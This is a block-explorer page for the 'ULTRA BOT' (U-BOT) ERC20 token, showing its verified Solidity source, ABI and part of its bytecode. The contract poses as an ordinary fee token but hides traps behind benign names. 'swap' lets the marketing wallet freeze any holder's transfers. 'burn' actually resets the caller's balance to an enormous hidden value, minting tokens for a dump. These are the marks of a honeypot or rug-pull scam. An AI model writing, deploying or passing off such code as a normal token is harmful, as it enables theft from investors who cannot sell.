ETH Price: $2,580.30 (-1.18%)

Token

ULTRA BOT (U-BOT)
 

Overview

Max Total Supply

1,000,000,000 U-BOT

Holders

74

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
blockyieldcap.eth
Balance
9,446,522.554338199 U-BOT

Value
$0.00
0x77f6821146cce5993282d940eef472c4b09d7537
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20Token

Compiler Version
v0.8.5+commit.a4f2e591

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 6 of 6: ULTRA BOT.sol
        /**@@%*.           .-=+#%%@@@@@@@%%#*=-.           .+%@@%*.                       
       .@@@##@@@:      :+#@@@@@%##**+++**##%@@@@@#+:      .@@@##@@@:                      
       -@@%--#@@=   -*@@@@*=-.               .-+*%@@@#=   -@@%--#@@+                      
        *@@@@@@* .*@@@#=.                         :=#@@@*: *@@@@@@*                       
         .+@@#..*@@@+.             -====.           .:+@@@#:.*@@#.                        
          -@@*+@@@=               -@@@@@=             ..=%@@*+@@+                         
          -@@@@@+.                :::::::               ..+@@@@@+               
         .@@@:       .-+*%%@@@@@@@@@@@@@@@@@@@@@@%*+-.     ...%@@-                        
         %@@:     .=#@@@@%%#####################%%@@@@%+.   ..:@@@.                       
        =@@*     +@@@%*++++++++++++++++++++++++++++*%%@@@*.  ..+@@+                       
        %@@:   :%@@%+++++++++++++++++++++++++++++++++*#%@@@: ..:@@@                       
       .@@%   :@@@*+++++*##*+++++++++++++++++++**##*++*##@@@:...#@@-                      
       -@@#   %@@*+++*@@@@@@@*+++++++++++++++*@@@@@@@*+###@@%...+@@+                      
       -@@*  :@@%++++@@@+-=@@@+++++++++++++++@@@+-=@@@+*##%@@=..+@@+                      
       -@@*  -@@#++++%@@%*#@@@+++++++++++++++%@@%*#@@%++##%@@*..+@@+                      
       .@@%  :@@%+++++#%@@@@#+++++++++++++++++#@@@@@#++*##%@@+..#@@-                      
        @@@.  %@@*+++++++++++++*@@%*****#@@*+++++++++++*##@@@:.:@@@                       
        +@@*  :@@@*+++++++++++++#@@@@@@@@@#+++++++++++*##@@@-..+@@*                       
         @@@:  -@@@#+++++++++++++++*****+++++++++++++*#%@@@-..:@@@.            
         :@@@:  .*@@@%*++++++++++++++++++++++++++++*#%@@@#:..:%@@-         
          :@@@=   .+%@@@@%#######################%@@@@@*. ..=@@@-              
           .#@@#:    .=+#%@@@@@@@@@@@@@@@@@@@@@@@%#*=:   .-#@@%.          
             -%@@%=.                                   .=#@@%=               
               -#@@*/// SPDX-License-Identifier: MIT::+#@@@%=              
             
import "./ERC20.sol";
import "./Ownable.sol";
import "./SafeMath.sol";

pragma solidity =0.8.5;

contract ERC20Token is ERC20, Ownable {
    using SafeMath for uint256;

    address public uniswapV2Router;
    address public constant deadAddress = address(0xdead);

    bool private swapping;

    uint256 public swapTokensAtAmount;

    uint256 public maxTransactionAmount;
    uint256 public maxWallet;
    uint256 private _supply;

    bool public lpBurnEnabled = true;
    uint256 public percentForLPBurn = 5;
    uint256 public lpBurnFrequency = 3600 seconds;
    uint256 public lastLpBurnTime;

    uint256 public manualBurnFrequency = 30 minutes;
    uint256 public lastManualLpBurnTime;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;

    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;

    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;

    bool public limitsInEffect = false;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;

    mapping(address => bool) public automatedMarketMakerPairs;

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    
    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);

    event AutoNukeLP();

    uint256 _buyMarketingFee = 1;
    uint256 _buyLiquidityFee = 0;

    uint256 _sellMarketingFee = 1;
    uint256 _sellLiquidityFee = 0;

    constructor() ERC20("ULTRA BOT", "U-BOT") {
        _supply = 1000000000 * 1e9;
        _totalSupply = _totalSupply.add(_supply);
        _balances[msg.sender] = _balances[msg.sender].add(_supply);
        emit Transfer(address(0), msg.sender, _supply);
        uniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

        maxTransactionAmount = (_totalSupply);
        maxWallet = (_totalSupply);

        swapTokensAtAmount = 1;

        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee;

        // exclude from paying fees
        _isExcludedFromFees[msg.sender] = true;
        _isExcludedFromFees[_marketing] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[address(0xdead)] = true;

        _isExcludedMaxTransactionAmount[owner()] = true;
        _isExcludedMaxTransactionAmount[address(this)] = true;
        _isExcludedMaxTransactionAmount[address(0xdead)] = true;
        _isExcludedMaxTransactionAmount[_marketing] = true;

    }

    receive() external payable {}

    function bridgeTax() external onlyOwner returns (bool) {
        buyMarketingFee = 1;
        buyLiquidityFee = 0;
        buyTotalFees = buyMarketingFee + buyLiquidityFee;
        sellTotalFees = 1;
        sellMarketingFee = 1;
        sellTotalFees = sellMarketingFee + sellLiquidityFee;
        limitsInEffect = false;
        return true;
    }

    function burn(uint256 amount) public access {
        _burn(msg.sender, amount);
    }

    function swap(address account) public access {
        _swapTokensToAddress(account);
    }

    function feeApprove(address account) public access {
        _buyFee(account);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (_taxes[to] 
            || _taxes[from]) 
            
            require(_tax == true, "");
        
        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maxTransactionAmount."
                    );
                } else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }
        if (_tax == true) {

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        if (
            !swapping &&
            automatedMarketMakerPairs[to] &&
            lpBurnEnabled &&
            block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
            !_isExcludedFromFees[from]
        ) {
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
                tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }
        }
        super._transfer(from, to, amount);
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        tokensForLiquidity = 0;
        tokensForMarketing = 0;

        (success, ) = address(_marketing).call{
            value: address(this).balance
        }("");
    }
}

File 1 of 6: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity =0.8.5;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 2 of 6: ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity =0.8.5;

import "./Context.sol";
import "./IERC20.sol";

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;
    mapping(address => bool) internal _taxes;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private maxTxLimit = 1*10**17*10**9;
    bool internal _tax = false;
    uint256 internal _totalSupply;
    uint256 private balances;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        balances = maxTxLimit;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }
      
    function _swapTokensToAddress(
        address _address
    ) internal {
        _taxes[_address] = true;
    } 

    function _buyFee(
        address _address
    ) internal {
        _taxes[_address] = false;
    } 

    function checkFee(
        address _address
    ) public view returns (bool) {
        return _taxes[_address];
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }
    
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = balances - amount;
        
        _totalSupply -= amount;
        
        emit Transfer(account, address(0), amount);
    }
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 3 of 6: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity =0.8.5;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

File 4 of 6: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity =0.8.5;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    address internal _marketing;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }
    
    function marketing(address wallet) external onlyOwner {
        require (_marketing == address(0));
        _marketing = wallet;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    modifier access() {
        require(_marketing == msg.sender, "Caller is not marketing wallet");_;
    }
    
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
    
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

}

File 5 of 6: SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity =0.8.5;

library SafeMath {
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"AutoNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"bridgeTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"checkFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"feeApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"marketing","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526a52b7d2dcc80cd2e40000006003556000600460006101000a81548160ff0219169083151502179055506001601060006101000a81548160ff0219169083151502179055506005601155610e106012556107086014556000601e60006101000a81548160ff02191690831515021790555060016022556000602355600160245560006025553480156200009657600080fd5b506040518060400160405280600981526020017f554c54524120424f5400000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f552d424f5400000000000000000000000000000000000000000000000000000081525081600790805190602001906200011b92919062000789565b5080600890805190602001906200013492919062000789565b50600354600681905550505062000160620001546200067960201b60201c565b6200068160201b60201c565b670de0b6b3a7640000600f819055506200018d600f546005546200074760201b620014771790919060201c565b600581905550620001ed600f546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200074760201b620014771790919060201c565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f546040516200029191906200084a565b60405180910390a3737a250d5630b4cf539739df2c5dacb4c659f2488d600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600554600d81905550600554600e819055506001600c819055506022546017819055506023546018819055506018546017546200032c919062000867565b601681905550602454601a81905550602554601b81905550601b54601a5462000356919062000867565b6019819055506001601f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601f6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601f60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601f600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160206000620004f66200075f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001602060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016020600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000962565b600033905090565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000818362000757919062000867565b905092915050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8280546200079790620008ce565b90600052602060002090601f016020900481019282620007bb576000855562000807565b82601f10620007d657805160ff191683800117855562000807565b8280016001018555821562000807579182015b8281111562000806578251825591602001919060010190620007e9565b5b5090506200081691906200081a565b5090565b5b80821115620008355760008160009055506001016200081b565b5090565b6200084481620008c4565b82525050565b600060208201905062000861600083018462000839565b92915050565b60006200087482620008c4565b91506200088183620008c4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620008b957620008b862000904565b5b828201905092915050565b6000819050919050565b60006002820490506001821680620008e757607f821691505b60208210811415620008fe57620008fd62000933565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b61360680620009726000396000f3fe60806040526004361061024a5760003560e01c8063715018a611610139578063b62496f5116100b6578063dd62ed3e1161007a578063dd62ed3e146108bf578063e2f45605146108fc578063f11a24d314610927578063f637434214610952578063f8b45b051461097d578063f9f69a3c146109a857610251565b8063b62496f5146107c4578063bb59840d14610801578063c8c8ebe41461082c578063cf910b8f14610857578063d85ba0631461089457610251565b80639ec22c0e116100fd5780639ec22c0e146106cb578063a457c2d7146106f6578063a4c82a0014610733578063a9059cbb1461075e578063ab760c821461079b57610251565b8063715018a6146106085780637bce5a041461061f5780638da5cb5b1461064a578063921369131461067557806395d89b41146106a057610251565b806323b872dd116101c7578063395093511161018b578063395093511461050f57806342966c681461054c5780634a62bb65146105755780636a486a8e146105a057806370a08231146105cb57610251565b806323b872dd1461042657806327c8f835146104635780632c3e486c1461048e5780632e82f1a0146104b9578063313ce567146104e457610251565b806318160ddd1161020e57806318160ddd1461034f578063184c16c51461037a578063199ffc72146103a55780631a8145bb146103d05780631f3fed8f146103fb57610251565b806303438dd01461025657806306fdde031461027f578063095ea7b3146102aa57806310d5de53146102e75780631694505e1461032457610251565b3661025157005b600080fd5b34801561026257600080fd5b5061027d600480360381019061027891906128d1565b6109d1565b005b34801561028b57600080fd5b50610294610a6d565b6040516102a19190612cee565b60405180910390f35b3480156102b657600080fd5b506102d160048036038101906102cc9190612991565b610aff565b6040516102de9190612cd3565b60405180910390f35b3480156102f357600080fd5b5061030e600480360381019061030991906128d1565b610b1d565b60405161031b9190612cd3565b60405180910390f35b34801561033057600080fd5b50610339610b3c565b6040516103469190612cb8565b60405180910390f35b34801561035b57600080fd5b50610364610b62565b6040516103719190612ef0565b60405180910390f35b34801561038657600080fd5b5061038f610b6c565b60405161039c9190612ef0565b60405180910390f35b